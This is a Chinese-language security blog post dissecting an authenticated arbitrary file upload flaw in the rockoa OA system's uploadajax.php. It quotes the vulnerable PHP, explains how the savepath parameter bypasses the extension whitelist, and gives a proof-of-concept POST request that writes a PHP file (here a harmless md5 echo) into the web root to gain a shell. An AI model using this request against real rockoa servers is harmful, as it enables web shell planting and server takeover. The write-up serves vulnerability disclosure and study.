wonderkun’s|blog

share with you!!

12/13
16:33
代码控

rockoa任意文件上传第二弹(需要登陆)

看一下文件 mode/upload/uploadajax.php是这样的:

if($action == 'send'){	
	
	if(!$_POST)exit('Sorry!,send');
	$sendci		= (int)$rock->post('sendci')+1;
	$maxsend	= (int)$rock->post('maxsend');
	$maxwidth	= (int)$rock->post('maxwidth');
	$thumbtype	= (int)$rock->post('thumbtype');
	$sendcont	= $rock->post('sendcont');
	$savetype	= $rock->post('savetype','temp');
	$filename	= $rock->post('filename');
	$filetype	= $rock->post('filetype');
	$fileext	= trim($rock->post('fileext'));
	$filesize	= $rock->post('filesize');
	$filesizecn	= $rock->post('filesizecn');
	$newfile	= $rock->post('newfile');
	$mkdir		= $rock->post('mkdir');
	$savepath	= $rock->post('savepath');//另存路径
	$thumbnail	= $rock->post('thumbnail');
}
$smkdir		= '../../upload/'.$mkdir.'';
if(!file_exists($smkdir))mkdir($smkdir);
$allfile	= ''.$smkdir.'/'.$newfile.'';
$tempfile	= $allfile.'.temp';  //保存临时文件 

$filepath	= substr($tempfile,3);
$thumbpath	= '';//所累图地址
$width		= 0;
$height		= 0;
$fc	= fopen($tempfile, 'a');

fwrite($fc,$sendcont);
fclose($fc);

这里是把用户上传的文件.temp结尾的问价,这是没有用户身份验证的,所有人都可以这么干,但是后缀是.temp是没办法拿shell的,接着往下看:

if($sendci==$maxsend){
	$optid	= (int)$rock->session(QOM.'adminid',0); //判断是否登陆  
	$imgext	= '|jpg|gif|png|jpeg|bmp|';
	$boolc	= $rock->contain($imgext, '|'.$fileext.'|');
	$ztfile	= $imgext.'doc|docx|xls|xlsx|ppt|pptx|pdf|swf|rar|zip|txt|gz|wav|mp3|wma|chm|';
	$botxtl	= $rock->contain($ztfile,'|'.$fileext.'|');
	
	$boolc1	= $rock->isempt($savepath); //判断上传的路径是否存在  
	
	if(!$boolc1 && $optid==0) $boolc1 = true; //如果没有登陆或者路径不存在,则为true  

	$izztbo = false; 
	if(!$boolc1 || $botxtl) $izztbo = true;       //要让$izztbo 为true    $boolc1为false  或者 $botxt1为true    
	if($izztbo){
		$content	= file_get_contents($tempfile);
		$temp1file	= ''.$allfile.'.'.$fileext.'';
		$a64basec	= base64_decode($content);
		if(!$boolc1){
			file_put_contents(ROOT_PATH.''.$savepath.''.iconv('utf-8','gb2312',$filename).'', $a64basec);
			unlink($tempfile);

我们看一下有没有问题,我们要想写入文件,就必须要让$izztbox为true,如果要让$izztbox为true,要么登陆了,要么文件后缀名在他列出来的那一串中才可以。
也就是说,如果我登陆了,上传文件类型就没有限制了!!!!!
这岂不是登陆了就可以拿shell了?

登陆之后!
post

newfile=test.php&sendcont=PD9waHAgZWNobyBtZDUoMSk/Pg==&sendci=1&maxsend=2&savepath=/upload/test.php

就会生成一个upload/test.php,然后拿到shell!